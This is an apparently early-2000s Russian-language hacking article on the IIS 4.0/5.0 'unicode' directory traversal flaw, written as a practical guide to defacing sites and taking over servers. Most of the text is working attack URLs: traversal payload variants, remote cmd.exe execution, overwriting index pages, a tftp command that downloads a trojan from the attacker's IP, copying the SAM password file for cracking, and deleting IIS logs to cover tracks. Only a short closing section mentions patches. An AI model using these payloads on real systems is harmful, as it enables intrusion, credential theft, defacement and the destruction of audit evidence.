Базы данныхИнтернетКомпьютерыОперационные системыПрограммированиеСетиСвязьРазное
Поиск по сайту:
Подпишись на рассылку:

Назад в раздел

Уязвимость "unicode" Internet Information Server 4.0/5.0 или Как делаются "deface"

div.main {margin-left: 20pt; margin-right: 20pt}Уязвимость "unicode" Internet Information Server 4.0/5.0
или
Как делаются "deface"


   Эта статья посвящена уязвимости "unicode" в Internet Information Server(IIS) 4.0/5.0 на платформах MS Windows NT/2000. Здесь вы узнаете, как с помощью этой уязвимости получить полный контроль над удаленным сервером, а также как защититься от подобной атаки.

Теория
   "Unicode" - это уязвимость в веб-сервере Internet Information Server(IIS) 4.0/5.0, которая позволяет удаленному пользователю выполнять операции над файлами со своими ограниченными правами, что может в основном использоваться для deface(изменение главной страницы) сайта и получения контроля над сервером. Самое удивительное в этой уязвимости то, что контроль над сервером может получить любой, кто умеет пользоваться браузером MS Internet Explorer и обладает элементарными навыками работы в среде MS Windows 9x. Общий внешний вид уязвимости выглядит так:
http://веб-адрес/директория_с_правами_на_выполнение/код/путь_к_исполняемому файлу?/c+команда+параметры+путь
Теперь описание всей этой строки:

1) Веб-адрес
   Это адрес веб-сайта с уязвимостью "unicode" в IIS.
Как же в Интернете найти сайты с такой уязвимостью?
Очень просто, как и всё в Интернете уязвимые сайты можно найти также, т. е. через поисковую систему. Я рекомендую для поиска www.google.com и www.altavista.com, хотя, подойдут любые поисковики, которые имеют функцию - расширенный поиск.
Что же надо искать?
Запрос надо ставить на нахождение "директорий с правами на выполнение" в адресе страницы.

2) Директория с правами на выполнение
   Вот небольшой список возможных директорий с правами на выполнение:
msadc
scripts
cgi-bin
_vti_bin
PBServer
Rpc
samples
iisadmpwd
_vti_cnf
adsamples

Существует намного больше директорий, но их существование зависит от настроек системы.

3) Код
   С кодом задача намного сложнее, т.е. существует очень много вариантов реализации кода, так как он зависит даже от языка версии IIS.
Вот варианты реализации кода:
/..%c0%af../..%c0%af../..%c0%af../
/..%255c../..%255c../..%255c../
/..%255c..%255c..%255c..%255c
/..%252f..%252f..%252f..%252f
/..%%35c../..%%35c../..%%35c../
/..%%35%63../..%%35%63../..%%35%63../
/..%25%35%63../..%25%35%63../..%25%35%63../
/..%%35c..%%35c..%%35c..%%35c
/..%%35%63..%%35%63..%%35%63
/..%25%35%63..%25%35%63..%25%35%63
/..%%35c..%%35c..%%35c..%%35c..%%35c../
/..%C1%1C..%C1%1C..%C1%1C..%C1%1C
/..%C0%AF..%C0%AF..%C0%AF..%C0%AF
/..%1c%0a../
и др.

Специально для вас я создал файл - список с возможными модификациями, который вы сможете присоединить к DCS(D@mned CGI Scanner).

4) Путь к исполняемому файлу
   Для начала советую использовать путь такого вида: /winnt/system32/cmd.exe, дабы получить возможность исполнять ДОС-команды(copy, type и др.) на удаленном компьютере. Другие исполняемые файлы и подробный обзор использования DOS-команд, которые могут пригодится для deface или для получения контроля над удаленным компьютером рассмотрены ниже.

5) Параметры
   Это не обязательная составляющая адреса, но при использовании некоторых "исполняемых файлов" очень полезна.

6) Путь
   Тоже не обязателен для некоторых "исполняемых файлов", но часто используется, например вот тут:
http://web-server/_vti_bin/..%c0%af../..%c0%af../..%c0%af.. /winnt/system32/cmd.exe?/c+dir+c: - в результате выполнения этой строки вы получите листинг диска С: Directory of c: 25.04.01 14:20 <DIR> Backup 16.03.01 19:14 <DIR> Clients 17.04.98 06:32 0 CONFIG.SYS 12.07.01 13:39 119 787 dining_odbc.zip 13.07.01 14:37 <DIR> InetPub 19.11.00 17:55 4 665 mpssetup.log 16.08.99 12:33 <DIR> MSSQL 16.09.01 18:36 213 815 296 pagefile.sys 08.06.01 22:12 <DIR> php405 31.05.01 13:55 <DIR> PriceListCopy 30.03.01 18:49 <DIR> Program Files 23.09.99 13:04 24 848 snmpapi.dll 16.09.01 17:52 <DIR> TEMP 31.10.00 20:48 <DIR> Tool 05.09.01 09:24 <DIR> WINNT 15 File(s) 213 964 596 bytes 2 837 853 696 bytes free

Взлом
   После того как:
- был найден сайт с "уязвимостью";
- была выбрана "директория с правами на выполнение";
- был подобран "код" уязвимости;
- был получен "листинг" диска С;
Переходим ко второй части - взлом.

1) Для начала надо выяснить примерное "дерево" каталогов и дисков, перебирая различные "пути" в адресе:
...winnt/system32/cmd.exe?/c+dir+c:
...winnt/system32/cmd.exe?/c+dir+d:
...winnt/system32/cmd.exe?/c+dir+e:
и т.д.
Также, я хочу обратить ваше внимание на то, что имена файлов и папок в командах должны быть представлены не длинными именами, а именами из 8 символов, например:
папка Program Files будет выглядеть как Progra~1, а соответственно листинг папки Program Files, выглядит так:
.../winnt/system32/cmd.exe?/c+dir+c:progra~1
Если в имени папки есть пробел, то пробел удаляется, например, папка The Bat! будет выглядеть как TheBat! или папка Web Publish будет выглядеть как WebPub~1.

В первую очередь, надо разобраться с местонахождением папки Inetpub - эта папка является, по умолчанию, папкой IIS, в ней находятся такие папки: Directory of c:inetpub 13.07.01 14:37 <DIR> . 13.07.01 14:37 <DIR> .. 16.02.01 15:56 <DIR> FTPRoot - каталог, который доступен по FTP 04.04.00 18:22 <DIR> Mailroot - каталог, с которым работает почта 09.09.01 00:03 <DIR> scripts - каталог встроенных скриптов 08.02.00 21:48 <DIR> iissamples - каталог содержащий примеры скриптов IIS 04.04.00 18:22 <DIR> db - каталог, который скорее всего содержит базы даных 16.09.01 20:07 <DIR> wwwroot - каталог с веб-сайтом или несколькими веб сайтами* 6 File(s) 0 bytes 2 837 853 696 bytes free * многие размещают на одном сервере несколько веб-сайтов определить это можно интуитивно, так как в каталоге wwwroot будут находиться папки типа:
server.com
www.server.org
Но не обязательно в них будет присутствовать www или расширение(.com, .org, .net и др.), они могут выглядеть и так:
ivanov
server
hostcom
и др. варианты, проще их определять по содержанию, а затем подставлять в адресной строке.

Также надо заметить, что папка с сайтом не обязательно имеет имя wwwroot, так как wwwroot - это папка по умолчанию, поэтому надо тщательно изучить все диски удаленного компьютера и его папки на наличии файлов стартовых страниц:
index.htm
index.html
default.htm
default.html
home.htm
home.html
default.asp
index.asp
и др.

Но если папок и дисков много, а папка с сайтом неизвестно где, и вы знаете, что на сервере установлен PHP, то просто пишем в адресной строке:
http://www.server.com/bla.php,
и в результате получаем ответ такого вида:
Warning: Failed opening 'C:InetPubwwwrootbla.php' for inclusion (include_path='c:/temp') in Unknown on line 0,
отсюда вывод, что папка с веб-сайтом - "C:InetPubwwwroot".
Но так как, PHP установлен не у всех, то есть более простой способ выяснить местонахождение директории с веб-сайтом:
Для этого используем команду SET в таком виде:
...winnt/system32/cmd.exe?/c+set+p
В результате мы получили вывод такого вида:
Path=C:WINNTsystem32;C:WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=c:inetpubwwwroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0703
Особое внимание стоит уделить строке PATH_TRANSLATED - в ней и содержится путь к директории веб-страницы: c:inetpubwwwroot.

2) Теперь вы идете в каталог с веб-сайтом и смотрите, что там есть и ищете главную страницу, чтобы просмотреть ее содержание или любого другого текстового файла можно использовать команду TYPE, пример использования:
...winnt/system32/cmd.exe?/c+type+c:inetpubwwwrootindex.html
...winnt/system32/cmd.exe?/c+type+c:inetpubwwwrootbase.tx?
Если заменять последний символ ? или * то файл выводится полностью и без строчки:
"CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:"

3) Самое интересное - как заменить главную страницу сайта на свою или проще говоря - сделать deface.
В первую очередь не пытайтесь набирать:
...winnt/system32/cmd.exe?/c+echo+Text+>c:inetpubwwwrootindex.html
Это не будет работать!
Чтобы все-таки закончить свое дело вам надо скопировать файл cmd.exe в какую-нибудь другую папку, где разрешена запись и есть права на выполнение, например в директорию с правами на выполнение или в корень папки сайта. Делается это так:
...winnt/system32/cmd.exe?/c+copy+c:winntsystem32cmd.exe+c:inetpub wwwrootcmd1.exe
или
...winnt/system32/cmd.exe?/c+copy+c:winntsystem32cmd.exe+c:inetpub wwwroot_vti_bincmd1.exe
После выполнения команды адрес на много уменьшился, так как теперь можно не писать "код", а писать только: http://web-server/cmd1.exe?/c+dir+c: (далее будет рассмотрена работа с этим вариантом)
или соответственно:
http://web-server/_vti_bin/cmd1.exe
Теперь мы можем создавать файлы!

Пример создания файла:
http://web-server/cmd1.exe?/c+echo+Text+>c:inetpubwwwrootindex.html - в этом случае старый текст заменяется на новый: "Text" , чтобы дополнить уже существующий файл, используем >> в адресе, пример:
http://web-server/cmd1.exe?/c+echo+Text1+>>c:inetpubwwwrootindex.html
Можно считать deface законченным и рисовать еще одну звездочку на корпусе своего компьютера.
НО!!! То что получилось обычный "плайнтекст", а это даже не красиво, поэтому сейчас я расскажу, как можно закачать свои файлы на удаленный сервер и конечно же получить полную власть над компьютером.

Метод №1:
   В стандартных утилитах MS Windows NT/2000 есть очень интересная утилитка - tftp.exe, расположена она в папке: winntsystem32tftp.exe. Эта утилитка обеспечивает обмен файлами по протоколу Trivial File Transfer Protocol. Имеет она следующие параметры запуска:
TFTP [-I] сервер [GET | PUT] файл [путь]
-I - параметр указывает что вы будете передавать бинарный файл(проще говоря не текстовый файл), если этот параметр не указан, тогда происходит передача текстового файла.
сервер - это IP-адрес или DNS имя сервера TFTP. Тут будет ваш IP-адрес, а как программу-сервер я рекомендую:
- Cisco TFTP Server v.1.1, скачать здесь.
- Tftpd32 v.2.0, скачать здесь или скачать с нашего сервера здесь (54Кб).
- WrTFTP, скачать здеь.
get - команда, указывающая, что вы хотите загружать с заданного сервера файл на удаленный компьютер
put - команда, указывающая, что вы хотите отправить файл с удаленного компьютера на сервер
файл - имя файла который вы хотите отправить/получить.
путь - путь к каталогу в который вы хотите загрузить файл с сервера.

Теперь как это будет выглядеть с использованием IIS unicode уязвимости (учитывая все вышевыполненые операции):
http://web-server/cmd1.exe?/c+c:winntsystem32tftp.exe+"-i"+195.239.4.1+ get+trojan.exe+c:inetpubwwwroottrojan.exe
или вот так если вы загружаете HTML-файл:
http://web-server/cmd1.exe?/c+c:winntsystem32tftp.exe+195.239.4.1+get+ index.html+c:inetpubwwwrootindex.html
вернемся к первому случаю, когда мы смогли загрузить свою программу на удаленный компьютер, эта программа может оказаться и Trojan/Backdoor, с помощью него мы и можем получить полный контроль над машиной. Чтобы запустить закачанную вами программу просто пишем в адресе:
http://web-server/trojan.exe
Если файл вдруг начал скачиваться, значит данная папка не имеет прав на выполнение, попробуйте скопировать файл в другую папку, например в "cgi-bin" или "scripts" (если такие имеются), хотя такое встречается, когда папка имеет права на выполнение и чтение, попробуйте такой вариант:
http://web-server/trojan.exe?/c
А теперь дело техники, и умения работать с закачанным трояном.

Метод №2:
   Часто администраторы веб-серверов создают FTP доступ свои клиентам к их сайтам, т.е. вам надо найти какой-либо FTP-сервер, а затем, получив файл с паролями, расшифровать его и получить доступ к сайту через FTP.
Я очень часто встречал FTP-сервер: Serv-U FTP, вот пара слов о нем:
Этот сервер сохраняет пароли в файле serv-u.ini, который расположен в папке с программой. Пароли в нем зашифрованы в DES, который dам поможет расшифровать программа - John The Ripper, где скачать эту программку вы можете узнать здесь. Информацию о других уязвимых FTP-серверах вы сможете найти на SecurityFocus.com

Метод №3:
   Вам надо узнать логин и пароль системного администратора или других пользователей имеющих доступ к папке с сайтом. Для этого вам надо получить файл SAM(%windir%system32configsam) - в нем MS Windows NT/2000 сохраняет пароли доступа в систему, а backup-копия его находится в папке: winntrepairsam._. Чтобы получить файл вы должны скопировать этот файл в каталог с веб-сайтом, например таким образом:
http://web-server/cmd1.exe?/c+copy+c:winntrepairsam._+c:inetpub wwwrootsam._
А теперь просто загрузите его набрав в адресной строке:
http://web-server/sam._
Еще стоит уделить внимание интересной папке _private, которая по умолчанию является открытой для записи.
После того как вы загрузили этот файл, расшифровать его можно будет с помощью программы - L0phtCrack+ 2.521.

Заметаем следы
   После того как все выше приведенные действия выполнены, надо замести за собой следы - удалить логи. А хранятся они в папке:
%windir%SYSTEM32LogFiles
Здесь вы увидите, что-то похожее на: Directory of c:winntsystem32logfiles 09/23/01 12:00 <DIR> . 09/23/01 12:00 <DIR> .. 09/22/01 18:03 <DIR> SMTPSVC1 - статистика работы с почтой 07/29/01 22:14 <DIR> FTPSVC1 - статистика работы по FTP 09/28/01 19:59 <DIR> W3SVC1 - статистика обращений к серверу по HTTP Чтобы "замести" следы вам нужно удалить содержимое необходимой папки, например так:
http://web-server/cmd1.exe?/c+del+c:winntsystem32logfilesw3svc1*.*
или так:
http://web-server/cmd1.exe?/c+del+c:winntsystem32logfilesw3svc1*.log

Но так как "логи", которые ведутся в данный момент удалить нельзя по причине их использования самим IIS, то можно используя загруженный троян почистить "логи" на следующий день.

Защита
   Все, теперь вы знаете, как может быть взломан IIS сервер через уязвимость "unicode". Сейчас я расскажу, как можно защититься от подобной атаки.
Microsoft отличается большим кол-вом "дыр" в своем ПО, но также она отличается быстрым их латанием, поэтому советую иногда посещать страницы сайта TechNet Online.
Там и можно найти патчи которые закрывают уязвимость "unicode" в IIS:
Патч для IIS 4.0 - http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787
Патч для IIS 5.0 - http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764

Дополнение
Средства для автоматизации проверки IIS на уязвимость "unicode":
IIStorm 2.0 - симпатичная программка под MS Windows для тестирования веб-сервера. Имеет очень много настроек.
Спецально для вас я собрал возможные модификации уязвимостей в файл-список для DCS (D@mned CGI Scanner). Всего: 638 модификации. Скачать список здесь (Скачано 2517 раз).
DCS 2.1 - сканер CGI-уязвимостей.
Perl-скрипт для проверки наличия уязвимости "unicode" можно взять здесь.

ВНИМАНИЕ: Программа L0phtCrack+ 2.521 бесплатна, однако веб страничка этой программы имеет плохой канал в Европу поэтому если у вас возникают проблеммы со скачиванием этой версии, вы можете скачать платную версию L0phtCrack(оригинал) здесь.

[c] Заключенный (icq# 97482821)
[c]uinC

Статья написана специально для UInC (http://www.uinc.ru).

Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы не отвечаем ни за какие последствия, которые имели место как следствие использования этих материаловпрограмм. Вы используете все вышеперечисленное на свой страх и риск.

Любые материалы с этого сайта не могут быть скопированы без разрешения автора или администрации.



  • Главная
  • Новости
  • Новинки
  • Скрипты
  • Форум
  • Ссылки
  • О сайте




  • Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
     Copyright © 2001-2024
    Реклама на сайте